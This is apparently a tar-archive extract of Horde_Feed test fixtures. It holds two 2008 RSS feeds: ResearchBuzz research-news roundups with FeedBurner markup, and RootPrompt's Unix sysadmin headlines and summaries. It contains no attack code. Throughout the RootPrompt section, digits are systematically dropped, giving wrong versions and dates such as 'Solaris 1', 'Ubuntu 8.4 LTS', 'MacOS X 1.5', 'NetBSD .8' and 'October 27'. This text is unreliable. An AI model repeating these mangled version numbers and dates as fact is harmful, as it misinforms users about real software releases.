href="http://feeds.feedburner.com/~f/researchbuzz/main?a=If5enI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=If5enI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=YWOnbI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=YWOnbI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=ApUmvi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=ApUmvi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=tHkwBI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=tHkwBI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/320506413" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/25/researchbuzz-roundup-062508/feed/ http://www.researchbuzz.org/wp/2008/06/25/researchbuzz-roundup-062508/ ResearchBuzz Roundup 062408 http://feeds.feedburner.com/~r/researchbuzz/main/~3/320006978/ http://www.researchbuzz.org/wp/2008/06/24/researchbuzz-roundup-062408/#comments Tue, 24 Jun 2008 21:20:49 +0000 admin http://www.researchbuzz.org/wp/?p=700 Online Journalism Review goes away. Safari Books Online has upgraded. YouTube video for toddlers. Heh. GovGab has some more information about the tomato recall and food recalls in general. Gary got a hat tip! And well deserved too. It&#8217;s the Return of Google Code Jam! Good news for IE and del.icio.us. Not long until November: it&#8217;s [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=FFpa5I"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=FFpa5I" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=7G2LvI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=7G2LvI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=P7B1Oi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=P7B1Oi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=Jtn6zI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=Jtn6zI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/320006978" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/24/researchbuzz-roundup-062408/feed/ http://www.researchbuzz.org/wp/2008/06/24/researchbuzz-roundup-062408/ ResearchBuzz Roundup 061508 http://feeds.feedburner.com/~r/researchbuzz/main/~3/313408888/ http://www.researchbuzz.org/wp/2008/06/15/researchbuzz-roundup-061508/#comments Mon, 16 Jun 2008 00:33:55 +0000 admin http://www.researchbuzz.org/wp/?p=699 WOW. Jeremy is leaving Yahoo. Wiki launched for data modeling. Wikis for procedure manuals. I tried something like this work and couldn&#8217;t get much interest&#8230; ProQuest will acquire Dialog. Wow. If it happens this planned BBC archive is going to be awesome. Firefox 3 coming out on Tuesday. 70+ Videos of Google I/O sessions. New online [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=j7wQAI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=j7wQAI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=TncDsI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=TncDsI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=FrWbki"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=FrWbki" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=9nKvnI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=9nKvnI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/313408888" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/15/researchbuzz-roundup-061508/feed/ http://www.researchbuzz.org/wp/2008/06/15/researchbuzz-roundup-061508/ Tech Talk: Gas Milage Tool [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/311956872/milage mpg gas conservation hypermiling hypermilerResearchBuzzSat, 14 Jun 2008 13:51:33 -0500http://www.wral.com/business/blogpost/3045265/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/311956872" height="1" width="1"/>http://www.wral.com/business/blogpost/3045265/ Google Offering New Google Trends http://feeds.feedburner.com/~r/researchbuzz/main/~3/311919127/ http://www.researchbuzz.org/wp/2008/06/14/google-offering-new-google-trends/#comments Sat, 14 Jun 2008 17:37:42 +0000 admin http://www.researchbuzz.org/wp/?p=698 Google has announced on its official page that there&#8217;s a new version of Google Trends available. If you have a Google Account you can now download trend information in CSV format. Very cool. You can trend multiple search terms. I was curious about a term that&#8217;s been bumping around my radar for the last couple [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=JsqpnI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=JsqpnI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=9BxWhI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=9BxWhI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=IvGuPi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=IvGuPi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=GV61TI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=GV61TI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/311919127" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/14/google-offering-new-google-trends/feed/ http://www.researchbuzz.org/wp/2008/06/14/google-offering-new-google-trends/ ResearchBuzz Roundup 061308 http://feeds.feedburner.com/~r/researchbuzz/main/~3/311829436/ http://www.researchbuzz.org/wp/2008/06/13/researchbuzz-roundup-061308/#comments Fri, 13 Jun 2008 13:57:39 +0000 admin http://www.researchbuzz.org/wp/?p=697 New search engine available for Tanzania. California has developed a database of &#8220;green&#8221; buildings. Indiana History Magazine, 1905-2006, now available online. Because it&#8217;s the INTERNET, that&#8217;s why &#8212; a social media site for collecting information about zombies. The kind that shuffle around and aggressively request brains, not the computer kind. eBay ends Media Marketplace experiment. Del.icio.us [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=myQCVI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=myQCVI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=OOA3lI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=OOA3lI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=eKkwZi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=eKkwZi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=F5dxFI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=F5dxFI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/311829436" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/13/researchbuzz-roundup-061308/feed/ http://www.researchbuzz.org/wp/2008/06/13/researchbuzz-roundup-061308/ ResearchBuzz Roundup 060708 http://feeds.feedburner.com/~r/researchbuzz/main/~3/307392919/ http://www.researchbuzz.org/wp/2008/06/07/researchbuzz-roundup-060708/#comments Sat, 07 Jun 2008 15:01:18 +0000 admin http://www.researchbuzz.org/wp/?p=696 Google Maps for Mobile &#8212; now with transit directions. Founding Fathers papers to go digital. Greatest Defunct Web Sites. What about Flooz? How to get and keep Windows XP after June 30. New group tools in Flickr. The NAL Blog: The Farm Bill Fix Is In. The Wiki of legit P2P uses. New Research Guide on Public [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=c4F0bI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=c4F0bI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=8dpqLI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=8dpqLI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=eLwEli"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=eLwEli" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=aSRKNI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=aSRKNI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/307392919" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/07/researchbuzz-roundup-060708/feed/ http://www.researchbuzz.org/wp/2008/06/07/researchbuzz-roundup-060708/ ResearchBuzz Roundup 060408 http://feeds.feedburner.com/~r/researchbuzz/main/~3/304920587/ http://www.researchbuzz.org/wp/2008/06/04/researchbuzz-roundup-060408/#comments Thu, 05 Jun 2008 00:36:53 +0000 admin http://www.researchbuzz.org/wp/?p=695 The Pennsylvania Legislative Journals go online back to 1993. News from Australia in Google Earth. Interesting: Getting crafty with Google Book Search. Yahoo Developer Network hiring a technical evangelist. Does Yahoo have a consumer applications evangelist? Not enough folks know about the Cool Stuff. 25 Ways Libraries Can Serve Book Groups. Rhode Island now has an [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=y8WONI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=y8WONI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=HgB5ZI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=HgB5ZI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=cyTbGi"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=cyTbGi" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=6GgLeI"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=6GgLeI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/304920587" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/06/04/researchbuzz-roundup-060408/feed/ http://www.researchbuzz.org/wp/2008/06/04/researchbuzz-roundup-060408/ Tech Talk: CustomGuide offers free "cheat sheets" [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/302458704/office firefox adobe mac consumer cheatsheetsResearchBuzzSun, 01 Jun 2008 12:26:10 -0500http://www.wral.com/business/blogpost/2972758/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/302458704" height="1" width="1"/>http://www.wral.com/business/blogpost/2972758/ ResearchBuzz Roundup 053008 http://feeds.feedburner.com/~r/researchbuzz/main/~3/302073965/ http://www.researchbuzz.org/wp/2008/05/30/researchbuzz-roundup-053008/#comments Fri, 30 May 2008 23:05:09 +0000 admin http://www.researchbuzz.org/wp/?p=694 Coming this fall: The Blackfoot Digital Library. CNN and the NYT are Twittering. Google Book Search bibliography now available. FeedBurner talks about AdSense for feeds. Amazon and Borders, officially broke up. Interactive Web sites and shaping public perception. The Brooklyn Museum is now in the Flickr Commons! I was wondering if that was new. Google has [...]<div class="feedflare"> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=YmmEJH"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=YmmEJH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=Da8vPH"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=Da8vPH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=nLHuvh"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=nLHuvh" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/researchbuzz/main?a=fyaDRH"><img src="http://feeds.feedburner.com/~f/researchbuzz/main?i=fyaDRH" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/302073965" height="1" width="1"/> http://www.researchbuzz.org/wp/2008/05/30/researchbuzz-roundup-053008/feed/ http://www.researchbuzz.org/wp/2008/05/30/researchbuzz-roundup-053008/ Tech Talk: Ancestry.com offering free access to its military ancestor research [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/295330439/ancestry genealogy military history searching research consumer freeResearchBuzzWed, 21 May 2008 16:05:56 -0500http://www.wral.com/business/blogpost/2923249/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/295330439" height="1" width="1"/>http://www.wral.com/business/blogpost/2923249/Tech Talk: Gas Prices All Over The Map... Literally [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/295330441/gas prices consumer conservation cars mapping heatmapResearchBuzzWed, 21 May 2008 16:04:45 -0500http://www.wral.com/business/blogpost/2922815/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/295330441" height="1" width="1"/>http://www.wral.com/business/blogpost/2922815/Tech Talk: SearchScanning With Yahoo and McAfee [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/290556881/search yahoo mcafee sites scanning screening toolsResearchBuzzWed, 14 May 2008 19:56:39 -0500http://www.wral.com/business/blogpost/2884751/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/290556881" height="1" width="1"/>http://www.wral.com/business/blogpost/2884751/Tech Talk: Fun With Baby Names [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/290556882/baby names tools ssa jacob emilyResearchBuzzWed, 14 May 2008 19:55:24 -0500http://www.wral.com/business/blogpost/2884897/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/290556882" height="1" width="1"/>http://www.wral.com/business/blogpost/2884897/Tech Talk: Free Golf Lessons! (For Ten Minutes) [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/281740541/golf free pga may month puttResearchBuzzThu, 01 May 2008 18:21:24 -0500http://www.wral.com/business/blogpost/2823465/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/281740541" height="1" width="1"/>http://www.wral.com/business/blogpost/2823465/Tech Talk: Send Your Name to the Moon! [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/281718183/moon lro orbit space nasaResearchBuzzThu, 01 May 2008 17:23:15 -0500http://www.wral.com/business/blogpost/2823334/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/281718183" height="1" width="1"/>http://www.wral.com/business/blogpost/2823334/Tech Talk: NCSU Wants To Help You Go Native [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/277170452/ncsu plants landscaping gardening ncResearchBuzzThu, 24 Apr 2008 15:53:55 -0500http://www.wral.com/business/blogpost/2788643/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/277170452" height="1" width="1"/>http://www.wral.com/business/blogpost/2788643/Tech Talk: TVLand Launches Huge Movie Trailer Database [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/276514649/free movies trailers nostalgia killertomatoes tvlandResearchBuzzWed, 23 Apr 2008 18:56:06 -0500http://www.wral.com/business/blogpost/2782423/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/276514649" height="1" width="1"/>http://www.wral.com/business/blogpost/2782423/Tech Talk: In Pictures Now Apparently All Free [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/276492074/tutorials computers consumer tech freeResearchBuzzWed, 23 Apr 2008 18:15:38 -0500http://www.wral.com/business/blogpost/2782327/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/276492074" height="1" width="1"/>http://www.wral.com/business/blogpost/2782327/Tech Talk: Internet Ideas for Earth Day [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/275538726/earthday green holiday tech conservation savingsResearchBuzzTue, 22 Apr 2008 12:15:57 -0500http://www.wral.com/business/blogpost/2772709/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/275538726" height="1" width="1"/>http://www.wral.com/business/blogpost/2772709/Tech Talk: Ask a Librarian, In National and Local Flavors [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/275497659/librarians ask reference northcarolina ncResearchBuzzTue, 22 Apr 2008 11:07:23 -0500http://www.wral.com/business/blogpost/2772171/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/275497659" height="1" width="1"/>http://www.wral.com/business/blogpost/2772171/Tech Talk: TRLN Offers Search TRLN [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/264650434/trln nccu ncsu duke unc libraries catalog searchResearchBuzzSat, 05 Apr 2008 11:59:38 -0500http://www.wral.com/business/blogpost/2688158/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/264650434" height="1" width="1"/>http://www.wral.com/business/blogpost/2688158/Tech Talk: Play Ball! At the Library of Congress [del.icio.us]http://feeds.feedburner.com/~r/researchbuzz/main/~3/260379474/baseball loc libraryofcongress bulls mudcatsResearchBuzzSat, 29 Mar 2008 14:58:32 -0500http://www.wral.com/business/blogpost/2650262/ <img src="http://feeds.feedburner.com/~r/researchbuzz/main/~4/260379474" height="1" width="1"/>http://www.wral.com/business/blogpost/2650262/ Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.rootprompt.org-rss-0000664000175000017500000005370612653701626025445 0ustar janjan RootPrompt -- Nothing but Unix http://RootPrompt.org News and information for Unix Sysadmins en-us Code by Noel Davis Stop VIM Autocommenting (29 May 2008) http://RootPrompt.org/article.php3?article=11615 http://RootPrompt.org/article.php3?article=11615 Has anyone else noticed how the newer versions of VIM attempt to be smart? Yeah, they think that just because you typed a comment on one line that you want to comment the next line, and the next, and the next. I don't know about you, but I'll tell the program which lines I want to comment, not the other way around. Link Redundant Array Of Inexpensive Disks (RAID) (29 May 2008) http://RootPrompt.org/article.php3?article=11616 http://RootPrompt.org/article.php3?article=11616 The storage capacity and data retrieval speeds of Hard Disks have increased multiple folds in last few years. However for large business organizations, which not only need to store terabytes of invaluable data but access them frequently as well. These organizations cannot afford to let their systems go offline even for a short duration of time. Moreover they cannot even think of losing even small amount of data due to disk failure or for that matter any other reason. Picking the right Eclipse distribution for you (29 May 2008) http://RootPrompt.org/article.php3?article=11617 http://RootPrompt.org/article.php3?article=11617 Which Eclipse distribution is right for you? Compare the CodeGear JBuilder 28 Turbo trial version, nexB EasyEclipse, Europa bundles, and Innoopract's Yoxo On Demand distros. Many of these Eclipse distributions already contain the plug-ins and tools you need to start working right away. Watching Live-TV On Your Ubuntu Desktop With Zatto (28 May 2008) http://RootPrompt.org/article.php3?article=11614 http://RootPrompt.org/article.php3?article=11614 Zattoo has developed a software program that allows you to watch TV on your computer. All you need is a broadband connection and a current operating system (Windows XP or Vista, Mac OS X, or Linux). The service is legal and free of charge. Full Story Manage Widget Geometry in PyGTK (28 May 2008) http://RootPrompt.org/article.php3?article=11613 http://RootPrompt.org/article.php3?article=11613 Several container widgets exist in GTK+, and with the toolkit's API, you can create user-defined containers. This API is also exposed to PyGTK. In this article, learn how to create a "weighted-table" container in PyGTK. The implementation introduces you to the basic model of GTK+ geometry management and gives you a feel for what to consider and expect when implementing container widgets. How To Install A TeamSpeak Server (28 May 2008) http://RootPrompt.org/article.php3?article=11612 http://RootPrompt.org/article.php3?article=11612 This tutorial describes how to set up a TeamSpeak server on an Ubuntu Server system. Teamspeak has the ability to make more than one server by setting different ports for each server. The user that controls all these servers is called the SuperAdmin, he has the ability to make more servers and users with or without their rights. Changing The Language & Keyboard Layout (13 May 2008) http://RootPrompt.org/article.php3?article=11610 http://RootPrompt.org/article.php3?article=11610 This document describes how to reconfigure the default language and the keyboard layout on various distributions so that they suit your location. I made this howto for our VMware images where the keyboard layout is always set to German and a few users have problems to configure the language and keyboard layout on these images. How to: Asus Eee PC protection with privacy filter (13 May 2008) http://RootPrompt.org/article.php3?article=11609 http://RootPrompt.org/article.php3?article=11609 This article will show you how to make your Asus Eee PC secure from prying eyes by using a privacy filter. 3M Privacy Filters help block the screen view from anyone viewing the computer from a side view. Their unique microlouver privacy technology allows just persons directly in front of the computer to see on screen data clearly. Story Unison - file synchronization tool (13 May 2008) http://RootPrompt.org/article.php3?article=11611 http://RootPrompt.org/article.php3?article=11611 Unison is a file-synchronization tool for Unix and Windows. It allows two replicas of a collection of files and directories to be stored on different hosts (or different disks on the same host), modified separately, and then brought up to date by propagating the changes in each replica to the other. Full Story Debug and tune apps on the fly with Firebug (13 May 2008) http://RootPrompt.org/article.php3?article=11608 http://RootPrompt.org/article.php3?article=11608 In this article, learn to use Firebug, a free, open source extension for the Firefox browser that provides many useful developer features and tools. Using Firebug, you can monitor, edit, and debug live pages, including HTML, CSS, JavaScript code, and network traffic. The Perfect Desktop - Mandriva One 2008 Spring (23 Apr 2008) http://RootPrompt.org/article.php3?article=11606 http://RootPrompt.org/article.php3?article=11606 This document describes step by step how to set up a Mandriva One 28 Spring (Mandriva 28.1) desktop (GNOME). The result is a fast, secure and extendable system that provides all you need for daily work and entertainment. Managing The GRUB Bootloader With QGRUBEditor (23 Apr 2008) http://RootPrompt.org/article.php3?article=11607 http://RootPrompt.org/article.php3?article=11607 QGRUBEditor is a graphical frontend for managing the GRUB bootloader. By using QGRUBEditor, you do not have to mess around with the GRUB configuration in /boot/grub/menu.lst anymore. This article shows how to install and use QGRUBEditor on Ubuntu 7.1. Identify speakers with sndpeek (23 Apr 2008) http://RootPrompt.org/article.php3?article=11605 http://RootPrompt.org/article.php3?article=11605 Learn to build basic assistance programs to help the hearing-impaired identify speakers in a bandwidth-limited context. Use sndpeek and custom algorithms to match voices to a pre-recorded library so users know who is speaking in teleconferences, podcasts, and live media events. Workload Partitioning (WPAR) in AIX 6.1 (23 Apr 2008) http://RootPrompt.org/article.php3?article=11604 http://RootPrompt.org/article.php3?article=11604 The most popular innovation of IBM AIX Version 6.1 is clearly workload partitioning (WPARs). Once you get past the marketing hype, you'll need to determine the value that WPARs can provide in your environment. You can discover that here. Scheduled Backups With Rsyncbackup On Debian Etch (21 Apr 2008) http://RootPrompt.org/article.php3?article=11603 http://RootPrompt.org/article.php3?article=11603 This document describes how to set up and configure rsyncbackup on Debian Etch. Rsyncbackup is a Perl script that cooperates with rsync. It is easy to configure and able to create scheduled backups (partial and incremental backups). Introducing Linux Client Pilot (21 Apr 2008) http://RootPrompt.org/article.php3?article=11601 http://RootPrompt.org/article.php3?article=11601 Learn what's involved when introducing a Linux client pilot in your organization, including planning for business and IT requirements, architecture decisions, risks, and understanding how IBM's open collaboration client is used to implement this desktop of the future, today. Tools to access Linux Partitions from Windows (21 Apr 2008) http://RootPrompt.org/article.php3?article=11602 http://RootPrompt.org/article.php3?article=11602 If you dual boot with Windows and Linux, and have data spread across different partitions on Linux and Windows, you should be really in for some issues. It happens sometimes you need to access your files on Linux partitions from Windows, and you realize it isn't possible easily. Not really, with these tools in hand - it's very easy for you to access files on your Linux partitions from Windows. Full Story Visually Impaired Flash Usability Tool (21 Apr 2008) http://RootPrompt.org/article.php3?article=11600 http://RootPrompt.org/article.php3?article=11600 aDesigner is a disability simulator that helps designers ensure that their content and applications are accessible and usable by the visually impaired. The new version adds support for OpenDocument Format (ODF) and Flash content; presentation simulation function for ODF documents. Unattended Fedora 8 Installation (8 Apr 2008) http://RootPrompt.org/article.php3?article=11598 http://RootPrompt.org/article.php3?article=11598 This document describes how to set up an installation environment with kickstart and NFS on Fedora 8. With the resulting system you will be able run unattended Fedora 8 installations on the client systems in your LAN - additionally, you will save lots of Internet bandwidth. The whole client configuration can be included into the kickstart file (especially the post-installation script) so you, the admin, will also save a vast amount of time. Running Linux on PS3: Working with Memory (8 Apr 2008) http://RootPrompt.org/article.php3?article=11599 http://RootPrompt.org/article.php3?article=11599 The Sony PlayStation 3 (PS3) runs Linux, but getting it to run well requires some tweaking. The first part introduced features and benefits, and Part 2 takes a look at where all the memory goes in the PS3 and how to reclaim it, along with what significant things can impact a PS3 system's performance running Linux. Upgrade Ubuntu 7.10 (Gutsy Gibbon) to Ubuntu 8.04 (27 Mar 2008) http://RootPrompt.org/article.php3?article=11595 http://RootPrompt.org/article.php3?article=11595 Ubuntu 8.4 LTS is the upcoming version of the Ubuntu operating system. The common name given to this release from the time of its early development was "Hardy Heron".This tutorial explains you step by step procedure how to Upgrade Ubuntu 7.1 (Gutsy Gibbon) to Ubuntu 8.4 LTS (Hardy Heron) Beta Full Story How To Set Up Software RAID1 On A Running LVM (27 Mar 2008) http://RootPrompt.org/article.php3?article=11597 http://RootPrompt.org/article.php3?article=11597 This guide explains how to set up software RAID1 on an already running LVM system (Debian Etch). The GRUB bootloader will be configured in such a way that the system will still be able to boot if one of the hard drives fails (no matter which one). Linux Directory Structure Overview (27 Mar 2008) http://RootPrompt.org/article.php3?article=11596 http://RootPrompt.org/article.php3?article=11596 One of the most noticeable differences between Linux and Windows is the directory structure. Not only is the format different, but the logic of where to find things is different.This tutorial will explain about Linux Directory Structure Overview with graphical image. Full Story Terminal functions for shell scripting with Shell (27 Mar 2008) http://RootPrompt.org/article.php3?article=11594 http://RootPrompt.org/article.php3?article=11594 "Shell Curses" is a library of script functions that provide the shell programmer the ability to perform text-based cursor movements to specified locations on the screen. This ability permits the creation of menuing and data-entry systems using shell scripts without the need for compiled binaries. These functions are similar to the "C" language "Curses" library. Name from PID with DTrace (25 Mar 2008) http://RootPrompt.org/article.php3?article=11592 http://RootPrompt.org/article.php3?article=11592 By the time I go to use this it will probably be different but hey."The other day, there was an interesting post on the DTrace mailing list asking how to derive a process name from a pid. This really ought to be a built-in feature of D, but it isn't (at least not yet). I hacked up a solution to the user's problem by cribbing the algorithm from mdb's ::pid2proc function whose source code you can find here. The basic idea is that you need to look up the pid in pidhash to get a chain of struct disabling snmpXdmid on Solaris 10 (dmi) (25 Mar 2008) http://RootPrompt.org/article.php3?article=11593 http://RootPrompt.org/article.php3?article=11593 I still find the service manager stuff confusing."On a recent server build project we ran into a security scan that surprised us with a mandate that snmpXdmid be disabled. The alleged vulnerability is based on a buffer overflow that originated in the days of Solaris 8 as documented in CIAC Information Bulleting l-65 and SunSolve Security bulletin #27. The details aren't important to this story other than finding it entertaining to respond to a Solaris 8 vulnerability on a Solaris 1 build. I Install OpenWRT, Chillispot, FreeRadius (24 Mar 2008) http://RootPrompt.org/article.php3?article=11588 http://RootPrompt.org/article.php3?article=11588 If you have ever tried to implement one of the hotspot HowTos on this and other sites, it might have dawned on you that this is not an easy feat to accomplish. Amazingly most solutions also leave out the most important part - how to get paid by the punters using the hotspot. Some will offer prepaid solution or access tickets that need to be printed, but this will require staff being involved on the premises. And in particular, once you want to offer a professional service and not just a toy KDE 4.1 to bring back Konqueror tree view, other g (24 Mar 2008) http://RootPrompt.org/article.php3?article=11591 http://RootPrompt.org/article.php3?article=11591 Nice stuff on the way."Many basic features that were noticeably absent in the 4. release are beginning to show up as the as the 4.1 release which is scheduled for July approaches." KDE 4.1 to bring back Konqueror tree view, other goodies Holy smokes! A holey file! (24 Mar 2008) http://RootPrompt.org/article.php3?article=11590 http://RootPrompt.org/article.php3?article=11590 I like ZFS. Lots of cools stuff. Even though if we upgraded to Solaris 1 at work we would probably not implement it. SANs take away a lot of the reasons for it, least that is how it looks to me."First, let's review a little bit about how ZFS works. By default, when ZFS writes anything, it generates a checksum which is recorded someplace else, presumably safe. Actually, the checksum is recorded at least twice, just to be doubly sure it is correct. And that record is also checksummed. Back Monitory Mainframe Sessions Remotely (24 Mar 2008) http://RootPrompt.org/article.php3?article=11589 http://RootPrompt.org/article.php3?article=11589 Users access z/OS mainframes using a 327 terminal emulator such as IBM Personal Communications. In this article, learn how to build a simple shell script for Linux or UNIX that gives you a second terminal emulator to view everything a mainframe user is doing in real time. Using Python to create UNIX command line tools (21 Mar 2008) http://RootPrompt.org/article.php3?article=11587 http://RootPrompt.org/article.php3?article=11587 Do you fully understand the OSI model? Are you comfortable with subnetting? Do you understand UNIX permissions? By the end of this article, anyone involved in IT at any capacity should be able to create at least a simple command line tool. Happy 15th birthday NetBSD! (21 Mar 2008) http://RootPrompt.org/article.php3?article=11586 http://RootPrompt.org/article.php3?article=11586 The NetBSD Project celebrates its 15th anniversary: The first commits were made to the NetBSD source code repository on March 21, 1993, and the first release of the NetBSD Operating System, NetBSD .8, was announced on USENET shortly thereafter. Throughout the past fifteen years, NetBSD has increased the portability and security of the 4.4BSD operating system on which NetBSD was based, and added support for new processor and system families, while enhancing the system's performance to s Prepare a Self-Installing Drive for Blade Servers (21 Mar 2008) http://RootPrompt.org/article.php3?article=11585 http://RootPrompt.org/article.php3?article=11585 Build a bootable, self-installing hard disk drive for an IBM BladeCenter HS2 blade server running SUSE Linux Enterprise Server 1 following these nine easy steps. When the system boots from this drive for the first time, it automatically begins to install Linux on the disk, which eases the task of preloading the operating system and lightens user workload. DTraceToolkit in MacOS X (18 Mar 2008) http://RootPrompt.org/article.php3?article=11582 http://RootPrompt.org/article.php3?article=11582 Dtrace looks like a great tool. Perhaps the best thing to come out in a while for troubleshooting."Apple included DTrace in MacOS X 1.5 (Leopard), released in October 27. It's great to have DTrace available in MacOS X for its powerful application and kernel performance analysis. To think that there is now another kernel we can examine using DTrace is exciting - it's like discovering a new planet in the solar system." The Wall: DTraceToolkit in MacOS X A look into Solaris, by Derek Crudgington (18 Mar 2008) http://RootPrompt.org/article.php3?article=11583 http://RootPrompt.org/article.php3?article=11583 "Solaris x86 jumpstart on ISC DHCP If you are using the Solaris dhcp server, stop now. Save yourself hours of time of trying to figure out pntadm, dhtadm, and just use ISC DHCP on Solaris. It's very simple, painless, and you will be glad you did." A look into Solaris, by Derek Crudgington Shuttle's $199 PC will ship with Foresight Linux (18 Mar 2008) http://RootPrompt.org/article.php3?article=11584 http://RootPrompt.org/article.php3?article=11584 One look and I want one, not sure what I would use it for, but when does that stop a geek from wanting a computer."Shuttle announced today that its upcoming $199 KPC will ship with the open-source Foresight Linux distribution. In addition to a price that 